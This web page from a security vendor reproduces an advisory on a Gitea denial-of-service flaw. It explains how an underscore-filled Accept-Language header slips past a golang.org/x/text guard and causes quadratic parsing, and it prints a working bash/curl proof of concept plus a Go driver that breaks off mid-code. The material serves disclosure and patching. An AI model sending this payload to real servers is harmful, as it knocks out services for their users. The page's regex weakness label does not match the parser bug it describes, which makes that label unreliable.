Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-58436 — gitea.dev

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-1333 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests

Summary

The Locale middleware that runs in front of every unauthenticated request

calls golang.org/x/text/language.ParseAcceptLanguage on the raw

Accept-Language header without imposing a size or shape filter. The

underlying parser has quadratic-time behaviour on long lists of malformed

language tags. The CVE-2022-32149 guard that golang.org/x/text added in

v0.3.8 caps the number of - characters in the input at 1000, but it does

not cap _ characters even though the parser's internal scanner aliases

_ to - before parsing. A single unauthenticated GET request with an

Accept-Language header built out of _ separators burns ~2 seconds of

server CPU on the host running Gitea; ten concurrent attackers saturate a

ten-core box for the duration of the attack while consuming ~1 MiB of

upstream bandwidth per request.

Affected versions

code.gitea.io/gitea 1.22.6 and (per code inspection of main) all

earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that

do not impose their own size limit on the Accept-Language header before

calling ParseAcceptLanguage. Verified on:

  • the official gitea/gitea:1.22.6 docker image (E2E below)
  • main at commit 6f4027a6be28c876c0abaf37cc939658645b78a3 by reading

modules/web/middleware/locale.go (the call site at line 38 is unchanged

on main)

Privilege required

Unauthenticated. The Locale middleware runs for every HTTP request

including the landing page and the sign-in page.

Vulnerable code

[modules/web/middleware/locale.go:38](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38)

(blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):

```go

// 3. Get language information from 'Accept-Language'.

// The first element in the list is chosen to be the default language automatically.

if len(lang) == 0 {

tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language"))

tag := translation.Match(tags...)

lang = tag.String()

}

```

req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default

Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not

override it, so the parser is allowed to receive up to a megabyte of

attacker-controlled data.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters

and rejecting inputs with more than 1000 of them. The guard does not count

_ characters even though the scanner converts _ to - at parse time

([golang.org/x/text/internal/language/parse.go](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)).

A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens

contains zero - characters, passes the guard, and then drives the

scanner into the O(N²) gobble path. The fix author of CVE-2022-32149

treated - as the canonical separator; the _ alias was added in 2013,

nine years before the fix.

How Accept-Language reaches ParseAcceptLanguage

Every Gitea HTTP request passes through Locale as it is wired up via

the global request pipeline (Gitea registers the middleware on its router

in routers/web/web.go). The middleware sequence is:

1. The request enters Locale(resp, req).

2. req.URL.Query().Get("lang") returns "" (attacker omits lang).

3. req.Cookie("lang") returns nil on a fresh client (attacker uses a

fresh client, or simply does not send the cookie).

4. req.Header.Get("Accept-Language") returns the full attacker-supplied

header value.

5. language.ParseAcceptLanguage(...) runs unfiltered.

No size or character class filter is applied between (4) and (5).

Proof of concept

Single-line bash reproducer that crafts the malicious header and

times one request against a fresh gitea/gitea:1.22.6 container:

```bash

docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6

sleep 8

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"

echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \

-w 'http=%{http_code} t=%{time_total}\n' \

-H "Accept-Language: ${PAYLOAD}" \

http://127.0.0.1:13000/

```

Each 9-character _abcdefghi token has length 9, which fails the

scanner's len <= 8 tag-length check at

golang.org/x/text/internal/language/parse.go and triggers a gobble

call that runtime.memmoves the entire remaining buffer. With N invalid

tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against gitea/gitea:1.22.6)

A Go driver poc.go that boots the container, sends a 1 MiB

Accept-Language value once with - (CVE-2022-32149 guard fires) and

once with _ (guard bypassed):

```go

// poc.go

package main

import (

"fmt"

"io"

"net"

"net/http"

"strings"

"time"

)

const targetURL = "http://127.0.0.1:13000/"

func buildPayload(sep string, targetBytes int) string {

const tok = "abcdefghi"

var b

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-58436 is classified as CWE-1333: Inefficient Regular Expression Complexity. A regular expression backtracks catastrophically on crafted input, consuming CPU out of proportion to input size.

Affected software

CVE-2026-58436 is recorded against 3 packages.

  • code.gitea.io/gitea
  • gitea.dev
  • unknown

Timeline and source

Published on 21 July 2026 and last revised on 22 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Web)
github.com (Web)
github.com (Package)

Other advisories for this package

code.gitea.io/gitea has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-1333: Inefficient Regular Expression Complexity) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-1333
Public Exploit ✅ No
Source NVD
Published 2026-07-21
Updated 2026-08-20
Modified 2026-07-22
Fix URL N/A

Affected Packages

Software From version Fixed in
code.gitea.io/gitea — —
gitea.dev — —
unknown — —

Similar Threats

Site Security Check

Is gitea.dev part of your stack?

CVE-2026-58436 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓